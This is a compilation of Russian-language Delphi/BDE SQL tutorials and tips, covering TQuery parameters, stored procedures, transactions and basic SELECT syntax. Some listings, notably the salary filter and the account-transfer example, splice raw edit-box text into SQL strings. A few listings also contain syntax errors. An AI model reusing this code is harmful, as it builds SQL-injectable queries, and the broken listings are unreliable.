                   TableName : string;
                   ColNames : array of string) : string; overload;

function SqlInsert(Values : array of const;
                   TableName : string) : string; overload;

function SqlUpdate(Values : array of const;
                   TableName : string;
                   ColNames : array of string;
                   WhereClause : string) : string;

// ---------------------------------------------------------------------------
implementation

// Помещаем TDateTime в Values (array of const)
// Представлен как Variant

function SqlInsert(Values : array of const;
                   TableName : string;
                   ColNames : array of string) : string;
var RetVar : string;
    i : integer;
begin
  RetVar := 'insert into ' + TableName + CrLf +
            '(' + ColNames[0];
  for i := 1 to High(ColNames) do
     RetVar := RetVar + ',' + ColNames[i];
  RetVar := RetVar + ')' + CrLf;

  RetVar := RetVar + 'values (';

  for i := 0 to High(Values) do begin
     case Values[i].VType of
          vtInteger,
          vtInt64    : RetVar := RetVar + IntToStr(Values[i].VInteger);
          vtChar     : RetVar := RetVar + QuotedStr(Values[i].VChar);
          vtString   : RetVar := RetVar + QuotedStr(Values[i].VString^);
          vtPChar    : RetVar := RetVar + QuotedStr(Values[i].VPChar);
          vtExtended : RetVar := RetVar + FloatToStr(Values[i].VExtended^);
          vtAnsiString : RetVar := RetVar +
                         QuotedStr(string(Values[i].VAnsiString));
          // TDateTime - иначе получаем как vtExtended
          vtVariant  : RetVar := RetVar + 'to_date(' +
                       QuotedStr(FormatdateTime('dd/mm/yyyy',
                       TDateTime(Values[i].VVariant^))) + ',' +
                       QuotedStr('dd/mm/yyyy') + ')';
     else
       RetVar := RetVar + '??????';
     end;

     RetVar := RetVar + ',';
  end;

  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + ')';
  if High(Values) < High(ColNames) then
     ShowMessage('SQL Insert - Not enough values.');
  if High(Values) > High(ColNames) then
     ShowMessage('SQL Insert - Too many values.');

  Result := RetVar;
end;

function SqlInsert(Values : array of const;
                   TableName : string) : string; overload;
var RetVar : string;
    i : integer;
begin
  RetVar := 'insert into ' + TableName + CrLf;
  RetVar := RetVar + 'values (';

  for i := 0 to High(Values) do begin
     case Values[i].VType of
          vtInteger,
          vtInt64    : RetVar := RetVar + IntToStr(Values[i].VInteger);
          vtChar     : RetVar := RetVar + QuotedStr(Values[i].VChar);
          vtString   : RetVar := RetVar + QuotedStr(Values[i].VString^);
          vtPChar    : RetVar := RetVar + QuotedStr(Values[i].VPChar);
          vtExtended : RetVar := RetVar + FloatToStr(Values[i].VExtended^);
          vtAnsiString : RetVar := RetVar +
                         QuotedStr(string(Values[i].VAnsiString));
          // TDateTime - иначе получаем как vtExtended
          vtVariant  : RetVar := RetVar + 'to_date(' +
                       QuotedStr(FormatdateTime('dd/mm/yyyy',
                       TDateTime(Values[i].VVariant^))) + ',' +
                       QuotedStr('dd/mm/yyyy') + ')';
     else
       RetVar := RetVar + '??????';
     end;

     RetVar := RetVar + ',';
  end;

  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + ')';

  Result := RetVar;
end;

function SqlUpdate(Values : array of const;
                   TableName : string;
                   ColNames : array of string;
                   WhereClause : string) : string;
var RetVar,Parm : string;
    i : integer;
begin
  RetVar := 'update ' + TableName + ' set' + CrLf;

  for i := 0 to Min(High(Values),High(ColNames)) do begin
     case Values[i].VType of
          vtInteger,
          vtInt64    : Parm := IntToStr(Values[i].VInteger);
          vtChar     : Parm := QuotedStr(Values[i].VChar);
          vtString   : Parm := QuotedStr(Values[i].VString^);
          vtPChar    : Parm := QuotedStr(Values[i].VPChar);
          vtExtended : Parm := FloatToStr(Values[i].VExtended^);
          vtAnsiString : Parm := QuotedStr(string(Values[i].VAnsiString));
          // TDateTime - иначе получаем как vtExtended
          vtVariant  : Parm := 'to_date(' +
                       QuotedStr(FormatdateTime('dd/mm/yyyy',
                       TDateTime(Values[i].VVariant^))) + ',' +
                       QuotedStr('dd/mm/yyyy') + ')';
     else
       Parm := '??????';
     end;

     RetVar := RetVar + ColNames[i] + '=' + Parm + ',';
  end;

  Delete(RetVar,length(RetVar),1);
  RetVar := RetVar + CrLf + 'where ' + WhereClause;
  if High(Values) < High(ColNames) then
     ShowMessage('SQL Update - Not enough values.');
  if High(Values) > High(ColNames) then
     ShowMessage('SQL Update - Too many values.');

  Result := RetVar;
end;

Взято из http://forum.sources.ru


SQL-запросы в Delphi

Примечание: Данный документ представляет собой коллективный труд нескольких авторов, которые индивидуально несут ответственность за качество предоставленной здесь информации. Borland не предоставлял, и не может предоставить никакой гарантии относительно содержимого данного документа.

1. Введение

Компоненты Delphi для работы с базами данных были созданы в расчете на работу с SQL и архитектурой клиент/сервер. При работе с ними вы можете воспользоваться характеристиками расширенной поддержки удаленных серверов. Delphi осуществляет эту поддержку двумя способами. Во-первых, непосредственные команды из Delphi позволяют разработчику управлять таблицами, устанавливать пределы, удалять, вставлять и редактировать существующие записи. Второй способ заключается в использовании запросов на языке SQL, где строка запроса передается на сервер для ее разбора, оптимизации, выполнения и передачи обратно результатов.

Данный документ делает акцент на втором методе доступа к базам данных, на основе запросов SQL (pass-through). Авторы не стремились создать курсы по изучению синтаксиса языка SQL и его применения, они ставили перед собой цель дать несколько примеров использования компонентов TQuery и TStoredProc. Но чтобы сделать это, необходимо понимать концепцию SQL и знать как работают selects, inserts, updates, views, joins и хранимые процедуры (stored procedures). Документ также вскользь касается вопросов управления транзакциями и соединения с базой данных, но не акцентирует на этом внимание. Итак, приступая к теме, создайте простой запрос типа SELECT и отобразите результаты.

2. Компонент TQuery

Если в ваших приложениях вы собираетесь использовать SQL, то вам непременно придется познакомиться с компонентом TQuery. Компоненты TQuery и TTable наследуются от TDataset. TDataset обеспечивает необходимую функциональность для получения доступа к базам данных. Как таковые, компоненты TQuery и TTable имеют много общих признаков. Для подготовки данных для показа в визуальных компонентах используется все тот же TDatasource. Также, для определения к какому серверу и базе данных необходимо получить доступ, необходимо задать имя псевдонима. Это должно выполняться установкой свойства aliasName объекта TQuery.

Свойство SQL

Все же TQuery имеет некоторую уникальную функциональность. Например, у TQuery имеется свойство с именем SQL. Свойство SQL используется для хранения SQL-запроса. Ниже приведены основные шаги для составления запроса, где все служащие имеют зарплату свыше $50,000.

Создайте объект TQuery

Задайте псевдоним свойству DatabaseName. (Данный пример использует псевдоним IBLOCAL, связанный с демонстрационной базой данных employee.gdb).

Выберите свойство SQL и щелкните на кнопке с текстом - '...' (три точки, Инспектор Объектов - В.О.). Должен появиться диалог редактора списка строк (String List Editor).

Введите: Select * from EMPLOYEE where SALARY>50000. Нажмите OK.

Выберите в Инспекторе Объектов свойство Active и установите его в TRUE.

Разместите на форме объект TDatasource.

Установите свойство Dataset у TDatasource в Query1.

Разместите на форме TDBGrid.

Установите его свойство Datasource в Datasource1.
Свойство SQL имеет тип TStrings. Объект TStrings представляет собой список строк, и чем-то похож на массив. Тип данных TStrings имеет в своем арсенале команды добавления строк, их загрузки из текстового файла и обмена данными с другим объектом TStrings. Другой компонент, использующий TStrings - TMemo. В демонстрационном проекте ENTRSQL.DPR (по идее, он должен находится на отдельной дискетте, но к "Советам по Delphi" она не прилагается - В.О.), пользователь должен ввести SQL-запрос и нажать кнопку "Do It" ("сделать это"). Результаты запроса отображаются в табличной сетке. В Листинге 1 полностью приведен код обработчика кнопки "Do It".
Листинг 1

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Query1.close; {Деактивируем запрос в качестве одной из мер предосторожности }
Query1.SQL.Clear; {Стираем любой предыдущий запрос}
If Memo1.Lines[0] <> '' {Проверяем на предмет пустого ввода} then
  Query1.SQL.Add(Memo1.Text) {Назначаем свойству SQL текст Memo}
else
begin
messageDlg('Не был введен SQL-запрос', mtError, [mbOK], 0);
exit;
end;
try        {перехватчик ошибок}
Query1.Open;     {Выполняем запрос и открываем набор данных}
except     {секция обработки ошибок}
On e : EDatabaseError do {e - новый дескриптор ошибки}
messageDlg(e.message, mtError, [mbOK],0); {показываем свойство message объекта e}
end;      {окончание обработки ошибки}
end;

Свойство Params

Этого должно быть достаточно для пользователя, знающего SQL. Тем не менее, большинство пользователей не знает этого языка. Итак, ваша работа как разработчика заключается в предоставлении интерфейса и создании SQL-запроса. В Delphi, для создания SQL-запроса на лету можно использовать динамические запросы. Динамические запросы допускают использование параметров. Для определения параметра в запросе используется двоеточие (:), за которым следует имя параметра. Ниже приведе пример SQL-запроса с использованием динамического параметра:

          select * from EMPLOYEE
          where DEPT_NO = :Dept_no

Если вам нужно протестировать, или установить для параметра значение по умолчанию, выберите свойство Params объекта Query1. Щелкните на кнопке '...'. Должен появиться диалог настройки параметров. Выберите параметр Dept_no. Затем в выпадающем списке типов данных выберите Integer. Для того, чтобы задать значение по умолчанию, введите нужное значение в поле редактирования "Value".
Для изменения SQL-запроса во время выполнения приложения, параметры необходимо связать (bind). Параметры могут изменяться, запрос выполняться повторно, а данные обновляться. Для непосредственного редактирования значения параметра используется свойство Params или метод ParamByName. Свойство Params представляет из себя массив TParams. Поэтому для получения доступа к параметру, необходимо указать его индекс. Для примера,

Query1.params[0].asInteger := 900;

Свойство asInteger читает данные как тип Integer (название говорит само за себя). Это не обязательно должно указывать но то, что поле имеет тип Integer. Например, если тип поля VARCHAR(10), Delphi осуществит преобразование данных. Так, приведенный выше пример мог бы быть записан таким образом:

Query1.params[0].asString := '900';

или так:

Query1.params[0].asString := edit1.text;

Если вместо номера индекса вы хотели бы использовать имя параметра, то воспользуйтесь методом ParamByName. Данный метод возвращает объект TParam с заданным именем. Например:

Query1.ParamByName('DEPT_NO').asInteger := 900;

В листинге 2 приведен полный код примера.

Листинг 2

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Query1.close;     {Деактивируем запрос в качестве одной из мер предосторожности }
if not Query1.prepared then
  Query1.prepare; {Убедимся что запрос подготовлен}
  {Берем значение, введенное пользователем и заменяем
  им параметр.}
if edit1.text <> '' then {Проверяем на предмет пустого ввода}
  Query1.ParamByName('DEPT_NO').AsString := edit1.text
else
  Begin
    Query1.ParamByName('DEPT_NO').AsInteger := 0;
    edit1.text := '0';
  end;
try        {перехватчик ошибок}
  Query1.Open;     {Выполняем запрос и открываем набор данных}
except     {секция обработки ошибок}
  On e : EDatabaseError do {e - новый дескриптор ошибки} messageDlg(e.message,
     mtError,
     [mbOK],0); {показываем свойство message объекта e}
end;     {окончание обработки ошибки}
end;

Обратите внимание на процедуру, первым делом подготовливающую запрос. При вызове метода prepare, Delphi посылает SQL запрос на удаленный сервер. Сервер выполняет грамматический разбор и оптимизацию запроса. Преимущество такой подготовки запроса состоит в его предварительном разборе и оптимизации. Альтернативой здесь может служить подготовка сервером запроса при каждом его выполнении. Как только запрос подготовлен, подставляются необходимые новые параметры, и запрос выполняется.

Источник данных

В предыдущем примере пользователь мог ввести номер отдела, и после выполнения запроса отображался список сотрудников этого отдела. А как насчет использования таблицы DEPARTMENT, позволяющей пользователю легко перемещаться между пользователями и отделами?

Примечание: Следующий пример использует TTable с именем Table1. Для Table1 имя базы данных IBLOCAL, имя таблицы - DEPARTMENT. DataSource2 TDatasource связан с Table1. Таблица также активна и отображает записи в TDBGrid.

Способ подключения TQuery к TTable - через TDatasource. Есть два основных способа сделать это. Во-первых, разместить код в обработчике события TDatasource OnDataChange. Например, листинг 3 демонстрирует эту технику.

Листинг 3 - Использования события OnDataChange для просмотра дочерних записей

procedure TForm1.DataSource2DataChange(Sender: TObject; Field: TField);
begin
Query1.Close;
if not Query1.prepared
then
Query1.prepare;
Query1.ParamByName('Dept_no').asInteger := Table1Dept_No.asInteger;
try
 Query1.Open;
except
On e : EDatabaseError do
messageDlg(e.message, mtError, [mbOK], 0);
end;
end;

Техника с использованием OnDataChange очень гибка, но есть еще легче способ подключения Query к таблице. Компонент TQuery имеет свойство Datasource. Определяя TDatasource для свойства Datasource, объект TQuery сравнивает имена параметров в SQL-запросе с именами полей в TDatasource. В случае общих имен, такие параметры заполняются автоматически. Это позволяет разработчику избежать написание кода, приведенного в листинге 3 (*** приведен выше ***).

Фактически, техника использования Datasource не требует никакого дополнительного кодирования. Для поключения запроса к таблице DEPT_NO выполните действия, приведенные в листинге 4.

Листинг 4 - Связывание TQuery c TTable через свойство Datasource

Выберите у Query1 свойство SQL и введите:

             select * from EMPLOYEE
             where DEPT_NO = :dept_no

Выберите свойство Datasource и назначьте источник данных, связанный с Table1 (Datasource2 в нашем примере)
Выберите свойство Active и установите его в True

Это все, если вы хотите создать такой тип отношений. Тем не менее, существуют некоторые ограничения на параметризованные запросы. Параметры ограничены значениями. К примеру, вы не можете использовать параметр с именем Column или Table. Для создания запроса, динамически изменяемого имя таблицы, вы могли бы использовать технику конкатенации строки. Другая техника заключается в использовании команды Format.

Команда Format

Команда Format заменяет параметры форматирования (%s, %d, %n и пр.) передаваемыми значениями. Например,

Format('Select * from %s', ['EMPLOYEE'])

Результатом вышеприведенной команды будет 'Select * from EMPLOYEE'. Функция буквально делает замену параметров форматирования значениями массива. При использовании нескольких параметров форматирования, замена происходит слева направо. Например,

tblName := 'EMPLOYEE';
fldName := 'EMP_ID';
fldValue := 3;
Format('Select * from %s where %s=%d', [tblName, fldName, fldValue])

Результатом команды форматирования будет 'Select * from EMPLOYEE where EMP_ID=3'. Такая функциональность обеспечивает чрезвычайную гибкость при динамическом выполнении запроса. Пример, приведенный ниже в листинге 5, позволяет вывести в результатах поле salary. Для поля salary пользователь может задавать критерии.

Листинг 5 - Использование команды Format для создания SQL-запроса

procedure TForm1.BitBtn1Click(Sender: TObject);
var
  sqlString: string; {здесь хранится SQL-запрос}
  fmtStr1,
    fmtStr2: string; {здесь хранится строка, передаваемая для форматирования}

begin
{ Создание каркаса запроса }
  sqlString := 'Select EMP_NO %s from employee where SALARY %s';

  if showSalaryChkBox.checked {Если checkbox Salary отмечен} then
    fmtStr1 := ', SALARY'
  else
    fmtStr1 := '';
  if salaryEdit.text <> '' { Если поле редактирования Salary не пустое } then
    fmtStr2 := salaryEdit.text
  else
    fmtStr2 := '>0';

  Query1.Close; {Деактивируем запрос в качестве одной из мер предосторожности }
  Query1.SQL.Clear; {Стираем любой предыдущий запрос}
  Query1.SQL.Add(Format(sqlString, [fmtStr1, fmtStr2])); {Добавляем}
{форматированную строку к свойству SQL}

  try {перехватчик ошибок}
    Query1.Open; {Выполняем запрос и открываем набор данных}
  except {секция обработки ошибок}
    on e: EDatabaseError do {e - новый дескриптор ошибки}
      messageDlg(e.message, mtError, [mbOK], 0);
{показываем свойство message объекта e}
  end; {окончание обработки ошибки}
end;

В этом примере мы используем методы Clear и Add свойства SQL. Поскольку "подготовленный" запрос использует ресурсы сервера, и нет никакой гарантии что новый запрос будет использовать те же таблицы и столбцы, Delphi, при каждом изменении свойства SQL, осуществляет операцию, обратную "подготовке" (unprepare). Если TQuery не был подготовлен (т.е. свойство Prepared установлено в False), Delphi автоматически подготавливает его при каждом выполнении. Поэтому в нашем случае, даже если бы был вызван метод Prepare, приложению от этого не будет никакой пользы.

Open против ExecSQL

В предыдущих примерах TQuerie выполняли Select-запросы. Delphi рассматривает результаты Select-запроса как набор данных, типа таблицы. Это просто один класс допустимых SQL-запросов. К примеру, команда Update обновляет содержимое записи, но не возвращает записи или какого-либо значения. Если вы хотите использовать запрос, не возвращающий набор данных, используйте ExecSQL вместо Open. ExecSQL передает запрос для выполнения на сервер. В общем случае, если вы ожидаете, что получите от запроса данные, то используйте Open. В противном случае допускается использование ExecSQL, хотя его использование с Select не будет конструктивным. Листинг 6 содержит код, поясняющий сказанное на примере.

Листинг 6

procedure TForm1.BitBtnClick(sender: TObject)
begin
  Query1.Close;
  Query1.Clear;
  Query1.SQL.Add('Update SALARY from EMPLOYEE ' +
    'where SALARY<:salary values (SALARY*(1+:raise)');
  Query1.paramByName('salary').asString := edit1.text;
  Query1.paramByName('raise').asString := edit2.text;
  try
    Query1.ExecSQL;
  except
    on e: EDatabaseError do
      messageDlg(e.message, mtError, [mbOK], 0);
  end;
end;

Все приведенные выше примеры предполагают использования в ваших приложениях запросов. Они могут дать солидное основание для того, чтобы начать использовать в ваших приложениях TQuery. Но все же нельзя прогнозировать конец использования SQL в ваших приложених. Типичные серверы могут предложить вам другие характеристики, типа хранимых процедур и транзакций. В следующих двух секциях приведен краткий обзор этих средств.

3. Компонент TStoredProc

Хранимая процедура представляет собой список команд (SQL или определенного сервера), хранимых и выполняемых на стороне сервера. Хранимые процедуры не имеют концептуальных различий с другими типами процедур. TStoredProc наследуется от TDataset, поэтому он имеет много общих характеристик с TTable и TQuery. Особенно заметно сходство с TQuery. Поскольку хранимые процедуры не требуют возврата значений, те же правила действуют и для методов ExecProc и Open. Каждый сервер реализует работу хранимых процедур с небольшими различиями. Например, если в качестве сервера вы используете Interbase, хранимые процедуры выполняются в виде Select-запросов. Например, чтобы посмотреть на результаты хранимой процедуры, ORG_CHART, в демонстрационной базе данных EMPLOYEE, используйте следующих SQL-запрос:

 Select * from ORG_CHART

При работе с другими серверами, например, Sybase, вы можете использовать компонент TStoredProc. Данный компонент имеет свойства для имен базы данных и хранимой процедуры. Если процедура требует на входе каких-то параметров, используйте для их ввода свойство Params.
4. TDatabase

Компонент TDatabase обеспечивает функциональность, которой не хватает TQuery и TStoredProc. В частности, TDatabase позволяет создавать локальные псевдонимы BDE, так что приложению не потребуются псевдонимы, содержащиеся в конфигурационном файле BDE. Этим локальным псевдонимом в приложении могут воспользоваться все имеющиеся TTable, TQuery и TStoredProc. TDatabase также позволяет разработчику настраивать процесс подключения, подавляя диалог ввода имени и пароля пользователя, или заполняя необходимые параметры. И, наконец, самое главное, TDatabase может обеспечивать единственную связь с базой данных, суммируя все операции с базой данных через один компонент. Это позволяет элементам управления для работы с БД иметь возможность управления транзакциями.

Транзакцией можно считать передачу пакета информации. Классическим примером транзакции является передача денег на счет банка. Транзакция должна состоять из операции внесения суммы на новый счет и удаления той же суммы с текущего счета. Если один из этих шагов по какой-то причине был невыполнен, транзакция также считается невыполненной. В случае такой ошибки, SQL сервер позволяет выполнить команду отката (rollback), без внесения изменений в базу данных. Управление транзакциями зависит от компонента TDatabase. Поскольку транзакция обычно состоит из нескольких запросов, вы должны отметить начало транзакции и ее конец. Для выделения начала транзакции используйте TDatabase.BeginTransaction. Как только транзакция начнет выполняться, все выполняемые команды до вызова TDatabase.Commit или TDatabase.Rollback переводятся во временный режим. При вызове Commit все измененные данные передаются на сервер. При вызове Rollback все изменения теряют силу. Ниже в листинге 7 приведен пример, где используется таблица с именем ACCOUNTS. Показанная процедура пытается передать сумму с одного счета на другой.

Листинг 7

procedure TForm1.BitBtn1Click(Sender: TObject);
{ ПРИМЕЧАНИЕ: Поле BALANCE у ACCOUNTS имеет триггер, проверяющий
ситуацию, когда вычитаемая сумма превышает BALANCE. Если так, UPDATE
будет отменен}
begin
  try
    database1.StartTransaction;
    query1.SQL.Clear;
{ Вычитаем сумму из выбранного счета }
    query1.SQL.Add(Format('update ACCOUNTS ' +
      'set BALANCE = BALANCE - %s ) ' +
      'where ACCT_NUM = %s ',
      [edit1.text,
      Table1Acct_Num.asString]));
    query1.ExecSQL;
    query1.SQL.Clear;
{ Добавляем сумму к выбранному счету }
    query1.SQL.Add(Format('update ACCOUNTS ' +
      'set BALANCE = BALANCE + %s ' +
      'where ACCT_NUM = %s ',
      [edit1.text,
      Table2Acct_Num.asString]));
    query1.ExecSQL;
    database1.Commit; {В этом месте делаем все изменения}
    table1.Refresh;
    table2.Refresh;
  except
{При возникновении в приведенном коде любых ошибок,
откатываем транзакцию назад}
    One: EDatabaseError do
    begin
      messageDlg(e.message, mtError, [mbOK], 0);
      database1.rollback;
      exit;
    end;
    One: Exception do
    begin
      messageDlg(e.message, mtError, [mbOK], 0);
      database1.rollback;
      exit;
    end;
  end;
end;

И последнее, что нужно учесть при соединении с базой данных. В приведенном выше примере, TDatabase использовался в качестве единственного канала для связи с базой данных, поэтому было возможным выполнение только одной транзакции. Чтобы выполнить это, было определено имя псевдонима (Aliasname). Псевдоним хранит в себе информацию, касающуюся соединения, такую, как Driver Type (тип драйвера), Server Name (имя сервера), User Name (имя пользователя) и другую. Данная информация используется для создания строки соединения (connect string). Для создания псевдонима вы можете использовать утилиту конфигурирования BDE, или, как показано в примере ниже, заполнять параметры во время выполнения приложения.

TDatabase имеет свойство Params, в котором хранится информация соединения. Каждая строка Params является отдельным параметром. В приведенном ниже примере пользователь устанавливает параметр User Name в поле редактирования Edit1, а параметр Password в поле Edit2. В коде листинга 8 показан процесс подключения к базе данных:

Листинг 8

procedure TForm1.Button1Click(Sender: TObject);
begin
  try
    with database1 do
      begin
        Close;
        DriverName := 'INTRBASE';
        KeepConnection := TRUE;
        LoginPrompt := FALSE;
        with database1.Params do
          begin
            Clear;
            Add('SERVER NAME=C:\IBLOCAL\EXAMPLES\EMPLOYEE.GDB');
            Add('SCHEMA CACHE=8');
            Add('OPEN MODE=READ/WRITE');
            Add('SQLPASSTHRU MODE=SHARED NOAUTOCOMMIT');
            Add('USER NAME=' + edit1.text);
            Add('PASSWORD=' + edit2.text);
          end;
        Open;
      end;
    session.getTableNames(database1.databasename, '*',
      TRUE,
      TRUE,
      ComboBox1.items);
  except
    One: EDatabaseError do
    begin
      messageDlg(e.message, mtError, [mbOK], 0);
    end;
  end;
end;

Этот пример показывает как можно осуществить подключение к серверу без создания псевдонима. Ключевыми моментами здесь являются определение DriverName и заполнение Params информацией, необходимой для подключения. Вам не нужно определять все параметры, вам необходимо задать только те, которые не устанавливаются в конфигурации BDE определенным вами драйвером базы данных. Введенные в свойстве Params данные перекрывают все установки конфигурации BDE. Записывая параметры, Delphi заполняет оставшиеся параметры значениями из BDE Config для данного драйвера. Приведенный выше пример также вводит такие понятия, как сессия и метод GetTableNames. Это выходит за рамки обсуждаемой темы, достаточно упомянуть лишь тот факт, что переменная session является дескриптором database engine. В примере она добавлена только для "показухи".

Другой темой является использование SQLPASSTHRU MODE. Этот параметр базы данных отвечает за то, как натив-команды базы данных, такие, как TTable.Append или TTable.Insert будут взаимодействовать с TQuery, подключенной к той же базе данных. Существуют три возможных значения: NOT SHARED, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT. NOT SHARED означает, что натив-команды используют одно соединение с сервером, тогда как запросы - другое. Со стороны сервера это видится как работа двух разных пользователей. В любой момент времени, пока транзакция активна, натив-команды не будут исполняться (committed) до тех пор, пока транзакция не будет завершена. Если был выполнен TQuery, то любые изменения, переданные в базу данных, проходят отдельно от транзакции.

Два других режима, SHARED NOAUTOCOMMIT и SHARED AUTOCOMMIT, делают для натив-команд и запросов общим одно соединение с сервером. Различие между двумя режимами заключаются в передаче выполненной натив-команды на сервер. При выбранном режиме SHARED AUTOCOMMIT бессмысленно создавать транзакцию, использующую натив-команды для удаления записи и последующей попыткой осуществить откат (Rollback). Запись должна быть удалена, а изменения должны быть сделаны (committed) до вызова команды Rollback. Если вам нужно передать натив-команды в пределах транзакции, или включить эти команды в саму транзакцию, убедитесь в том, что SQLPASSTHRU MODE установлен в SHARED NOAUTOCOMMIT или в NOT SHARED.

5. Выводы

Delphi поддерживает множество характеристик при использовании языка SQL с вашими серверами баз данных. На этой ноте разрешите попращаться и пожелать почаще использовать SQL в ваших приложениях.

Взято с http://delphiworld.narod.ru


Как создать таблицу через SQL?

Следующая функция полностью совместима с Paradox:

procedure TForm1.Button1Click(Sender: TObject);
var
  Q: TQuery;
begin
  Q := TQuery.Create(Application)
    try
    Q.DatabaseName := 'SF';

    with Q.SQL do
      begin
        Add('Create Table Funcionarios');
        Add('( ID      AutoInc,       ');
        Add('  Name    Char(30),      ');
        Add('  Salary  Money,         ');
        Add('  Depno    SmallInt,     ');
        Add('  Primary Key ( ID ) )   ');
      end;

    Q.ExecSQL;
  finally
    Q.Free;
  end;
end;

Взято из http://forum.sources.ru


Локальные операторы языка SQL (BDE)

Вывод нужных полей

SELECT LastName, FirstName, Salary FROM employee
Хотим вывести только имя, фамилию и оклад служащих

Вывод всех полей из таблицы

SELECT * FROM employee
* обозначает все поля

Задание псевдонима таблице

SELECT * FROM employee emp
where emp.salary>35000
Таблице employee в качестве псевдонима задано emp
Выводим всех служащих с окладом свыше 35000

Исключение дубликатов
SELECT DISTINCT Country FROM vendors
Хотим узнать из каких стран поставляют продукцию

Постановка условия

SELECT * FROM vendors
Where Country='Canada'
Выводим поставщиков из Канады

Использование логические операторов

SELECT * FROM vendors
Where Country='U.S.A.' and Preferred='True'
Выводим только предпочитаемых поставщиков из США.
Когда используем оператор AND должны удовлетворяться оба условия

SELECT * FROM animals
Where AREA='South America' or AREA='New Orleans'
Хотим видеть только тех животных, которые обитают в Южной Америке или Новом Орлеане Когда используем оператор OR должно удовлетворяться хотя бы одно условие

SELECT * FROM animals
Where AREA='South America' and not Weight<7

Выводим животных, обитающих в Южной Америке с весом не менее 7 кг
Когда используем оператор AND NOT должно удовлетворяться первое условие и не должно - второе

SELECT * FROM animals
Where Weight<5 or not Weight<10
Выводим животных, с весом менее 5 кг или более 10 кг
Когда используем оператор OR NOT должно либо удовлетворяться первое условие, либо не должно - второе

Упорядочивание записей по возрастанию/убыванию/по номеру столбца

SELECT * FROM animals order by Weight
Выводим животных в порядке увеличения веса: сначала самые лёгкие, в конце самые тяжелые

SELECT * FROM animals order by Weight desc
...наоборот - по убыванию

SELECT * FROM animals order by 3
Упорядочить по третьему столбцу (отсчёт начинается с 1 )

Объединение нескольких запросов

SELECT * FROM animals
Where Area='South America'
UNION
SELECT * FROM animals
Where Area='New Orleans'
Выводим тех животных, которые обитают в Южной Америке, а так же тех, которые обитают в Новом Орлеане Оператором UNION можем объединять несколько запросов

Максимальное/минимальное значение поля

SELECT MAX(Salary) FROM employee
Выводим максимальный оклад из таблицы служащих

SELECT MIN(Salary) FROM employee
Выводим минимальный оклад из таблицы служащих

Сумма всех значений/среднее значение

SELECT SUM(Salary) FROM employee
Так можем узнать сколько получают служащие некой фирмы вместе взятые

SELECT AVG(Salary) FROM employee
Так можем узнать среднестатистический оклад

Количество записей в таблице/в поле

SELECT COUNT(*) FROM employee
Находим количество записей в таблице - в данном случае количество служащих

SELECT COUNT(*) FROM clients
Where occupation='Programmer'
Посчитали сколько человек увлекаются программированием

Группировка записей

SELECT Continent, MAX(Area) FROM country group by Continent
С помощью конструкции "group by" можем узнать какая страна занимает самую большую площадь для каждого континента

Конструкция IN

select * from Customer
Where Country IN ('US','Canada','Columbia')
Выводим покупателей из США, Канады и Колумбии

select * from Customer
Where Country NOT IN ('US','Canada')
Выводим всех покупателей за исключением тех, кто проживает в США, Канаде

Вывод пустых/непустых значений

select * from Customer
Where State is NULL
Выводит те записи, где не введено значение в поле State

select * from Customer
Where State is NOT NULL
Выводит те записи, где введено значение в поле State

Вывод значений приблизительно соответствующих нужным

select * from employee
Where LastName like 'L%'
Выводим только тех служащих, у которых фамилия начинается на букву 'L'. Знак '%' - означает любые символы

select * from employee
Where LastName like 'Nels_n'
Например, мы не помним: как правильно пишется 'Nelson' или 'Nelsan', тогда нужно будет воспользоваться знаком подчёркивания, который означает любой символ

Диапазон значений

select * from employee
Where Salary BETWEEN 25000 AND 50000
Можем вывести только тех, кто получает от 25000 до 50000 включительно

ANY, SOME, ALL

SELECT * FROM orders.db
where custno= ANY (select custno from customer.db where city = 'Largo');

или

SELECT * FROM orders.db
where custno= SOME (select custno from customer.db where city = 'Largo');

или

SELECT * FROM orders.db
where custno IN (select custno from customer.db where city = 'Largo');
Выводим заказы покупателей из города 'Largo'

SELECT * FROM clients
where birth_date>All(select birth_date from clients where city='Los Altos')
Вывести тех клиентов, которые моложе всех из 'Los Altos'

EXISTS

SELECT * FROM orders.db
where custno= ANY (select custno from customer where city = 'Largo')
and Exists(SELECT * FROM customer WHERE City='Largo')
Выводим заказы покупателей из города 'Largo' если вообще есть покупатели с этого города

Использование параметров

SELECT * FROM clients
where Last_Name=:LastNameParam

Если мы хотим дать возможность пользователю самому указывать фамилию нужного ему клиента. мы вместо значения для поля фамилия указываем параметр. Параметры указываются после двоеточия. И получить доступ к ним можно по индексу из свойства Params компонента Query. Индексация начинается с нуля. Затем, например, по нажатию на кнопке напишем код:

Query1.Active:=false;
Query1.Params[0].AsString:=Edit1.Text;
Query1.Active:=true;

Вывод дополнительного текста[использование выражений]

SELECT LastName, Salary/100, '$' FROM employee

Если зарплата указана не в долларах, а какой-то другой валюте, курс которой равен 1 к 100, мы можем вывести данные в $, используя вышеуказанное выражение

Использование нескольких таблиц

SELECT o.orderno,o.AmountPaid, c.Company FROM orders o, customer c
where o.custno=c.custno and c.city='Largo'
Выводим номер и сумму заказа из таблицы заказов и компанию сделавшую заказ из таблицы покупателей

Вложенные подзапросы

SELECT * FROM employee
where Salary=(select MAX(Salary) from employee)
Мы научились выводить максимальное значение, например, можем узнать максимальный оклад у служащих, но куда полезнее было бы узнать кто тот счастливчик. Именно здесь используется механизм вложенных подзапросов

Взято с http://delphiworld.narod.ru


Синтаксис SQL-функции Substring

SUBSTRING('Delphi World - это супер!!!' from 1 to 6)

Взято с http://delphiworld.narod.ru


Как получить результирующим полем разницу между хранимой датой и текущей датой

SELECT CAST((поле_с_датой -"NOW") AS INTEGER) FROM MyBase

Получишь результат в днях.

Взято с http://delphiworld.narod.ru


Основы языка SQL (статья)

Обзор

SQL (обычно произносимый как "СИКВЭЛ" или "ЭСКЮЭЛЬ") символизирует собой Структурированный Язык Запросов. Это - язык, который дает Вам возможность создавать и работать в реляционных базах данных, являющихся наборами связанной информации, сохраняемой в таблицах.

Информационное пространство становится более унифицированным. Это привело к необходимости создания стандартного языка, который мог бы использоваться в большом количестве различных видов компьютерных сред. Стандартный язык позволит пользователям, знающим один набор команд, использовать их для создания, нахождения, изменения и передачи информации - независимо от того, работают ли они на персональном компьютере, сетевой рабочей станции, или на универсальной ЭВМ.
В нашем все более и более взаимосвязанном компьютерном мире, пользователь снабженый таким языком, имеет огромное преимущество в использовании и обобщении информации из ряда источников с помощью большого количества способов.
